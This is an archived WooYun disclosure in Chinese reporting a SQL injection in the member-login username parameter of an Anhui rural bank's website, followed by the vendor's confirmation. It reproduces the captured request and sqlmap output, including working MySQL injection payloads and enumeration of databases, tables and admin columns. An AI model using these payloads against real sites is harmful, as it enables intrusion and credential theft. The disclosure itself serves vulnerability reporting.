当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0142429

漏洞标题：安徽某银行主站存在POST型SQL注入导致敏感信息泄露

相关厂商：jdrcb.net

漏洞作者： 路人甲

提交时间：2015-09-22 21:07

修复时间：2015-11-07 14:50

公开时间：2015-11-07 14:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-22： 细节已通知厂商并且等待厂商处理中
2015-09-23： 厂商已经确认，细节仅向厂商公开
2015-10-03： 细节向核心白帽子及相关领域专家公开
2015-10-13： 细节向普通白帽子公开
2015-10-23： 细节向实习白帽子公开
2015-11-07： 细节向公众公开

简要描述：

喜闻乐见的SQL注入...

详细说明：

安徽旌德农商行主站会员登录用户名参数username存在POST型SQL注入。

漏洞证明：

安徽旌德农商行主站会员登录用户名参数username存在POST型SQL注入，导致数据库可被拖库。
银行主站地址：http://**.**.**.**，主页面中的会员登录“用户名”参数存在SQL注入。

银行主页.png


登录进行抓包：

POST /index.php/member-ac-chklogin.html HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=r0gdi0tvqti7frbog8kdeo0b95
username=admin&password=123456&BtnLogin=%E7%99%BB%E9%99%86


扔到SQLMAP中进行测试，结果如下，数据库为MySQL：

sqlmap identified the following injection points with a total of 365 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 3916=3916 AND 'hWJY'='hWJY&password=123456&BtnLogin=%E7%99%BB%E9%99%86
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=admin' AND (SELECT 8789 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(SELECT (ELT(8789=8789,1))),0x7176767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'SPgx'='SPgx&password=123456&BtnLogin=%E7%99%BB%E9%99%86
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: username=admin' OR SLEEP(5) AND 'TYOS'='TYOS&password=123456&BtnLogin=%E7%99%BB%E9%99%86
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5.0


一共有2个数据库：

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
available databases [2]:
[*] information_schema
[*] jdrcb


current-db数据库为jdrcb：

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
current database:    'jdrcb'


jdrcb数据库包含17个tables：

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5
Database: jdrcb
[17 tables]
+-----------------+
| gdb_admin       |
| gdb_advert      |
| gdb_article     |
| gdb_candidates  |
| gdb_careers     |
| gdb_category    |
| gdb_columns     |
| gdb_config      |
| gdb_download    |
| gdb_links       |
| gdb_linkscate   |
| gdb_members     |
| gdb_message     |
| gdb_reservation |
| gdb_single      |
| gdb_video       |
| gdb_works       |
+-----------------+


看一下gdb_admin的表结构：

web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5
Database: jdrcb
Table: gdb_admin
[12 columns]
+-----------------+-------------+
| Column          | Type        |
+-----------------+-------------+
| addtime         | int(11)     |
| email           | varchar(50) |
| flag            | tinyint(1)  |
| id              | int(10)     |
| last_login_ip   | varchar(20) |
| last_login_time | int(11)     |
| login_ip        | varchar(20) |
| login_time      | int(11)     |
| password        | varchar(50) |
| sid             | varchar(50) |
| uname           | varchar(20) |
| userid          | varchar(20) |
+-----------------+-------------+


dump一下gdb_admin管理员表：

4.png


四个管理员都的用户名、密码都在这了。
问题证明存在，我就不拖库了...

修复方案：

你们是专家，比我懂。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-09-23 14:48

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向银行业信息化主管部门通报，由其后续协调网站管理单位处置，同时转由CNCERT向安徽分中心通报。

最新状态：

暂无